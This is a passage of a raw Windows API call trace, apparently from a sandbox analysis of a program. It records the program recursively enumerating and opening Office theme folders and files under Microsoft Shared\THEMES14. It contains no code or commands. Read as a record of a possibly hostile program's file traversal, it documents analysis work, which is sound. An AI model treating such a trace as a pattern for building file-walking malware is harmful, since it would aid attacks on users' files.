lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS", cAlternateFileName="")) returned 1 [0240.975] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL", cAlternateFileName="")) returned 1 [0240.975] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE", cAlternateFileName="")) returned 1 [0240.975] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD", cAlternateFileName="")) returned 1 [0240.975] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL", cAlternateFileName="")) returned 1 [0240.975] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED", cAlternateFileName="")) returned 1 [0240.975] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR", cAlternateFileName="")) returned 1 [0240.975] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE", cAlternateFileName="")) returned 1 [0240.975] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE", cAlternateFileName="")) returned 1 [0240.975] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN", cAlternateFileName="")) returned 1 [0240.975] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY", cAlternateFileName="")) returned 1 [0240.976] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE", cAlternateFileName="")) returned 1 [0240.976] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA", cAlternateFileName="")) returned 1 [0240.976] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING", cAlternateFileName="")) returned 1 [0240.976] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE", cAlternateFileName="")) returned 1 [0240.976] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO", cAlternateFileName="")) returned 1 [0240.976] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG", cAlternateFileName="")) returned 1 [0240.976] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc24e4f00, ftCreationTime.dwHighDateTime=0x1c06b0e, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc24e4f00, ftLastWriteTime.dwHighDateTime=0x1c06b0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES.INF", cAlternateFileName="")) returned 1 [0240.976] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.976] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.976] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.976] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.976] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.976] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x909988 [0240.976] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.976] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x90e268 [0240.976] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90ffb0 [0240.976] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.976] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER", cAlternateFileName="")) returned 1 [0240.976] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 1 [0240.976] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 0 [0240.976] GetLastError () returned 0x12 [0240.976] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5e0 [0240.976] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0240.977] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.977] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON", cAlternateFileName="")) returned 1 [0240.977] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0240.977] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0240.977] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0240.977] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0240.977] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x9116c8 [0240.977] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9116c8, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9116c8, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0240.977] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9116c8) returned 1 [0240.977] NtClose (Handle=0x1b0) returned 0x0 [0240.978] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0240.978] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.978] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.978] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0240.978] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.978] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9101c0 [0240.978] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0240.978] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.978] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdad6ec00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdad6ec00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe58e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.ELM", cAlternateFileName="")) returned 1 [0240.978] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.978] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.978] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.978] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.978] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.978] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9102c8 [0240.978] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.978] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x90e288 [0240.978] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9103d0 [0240.978] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.978] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.INF", cAlternateFileName="")) returned 1 [0240.978] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.978] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.978] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.979] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.979] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.979] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x90e2a8 [0240.979] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9104d8 [0240.979] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.979] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b50300, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85b50300, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x621, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0240.979] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.979] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.979] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.979] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.979] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.979] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x90e2c8 [0240.979] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9105e0 [0240.979] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.979] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0240.979] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.979] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.979] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.979] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.979] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.979] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x90e2e8 [0240.979] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9106e8 [0240.979] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.979] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0240.979] GetLastError () returned 0x12 [0240.979] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0240.979] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0240.980] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.980] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdad6ec00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdad6ec00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe58e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.ELM", cAlternateFileName="")) returned 1 [0240.980] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.INF", cAlternateFileName="")) returned 1 [0240.980] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b50300, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85b50300, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x621, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0240.980] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x0, 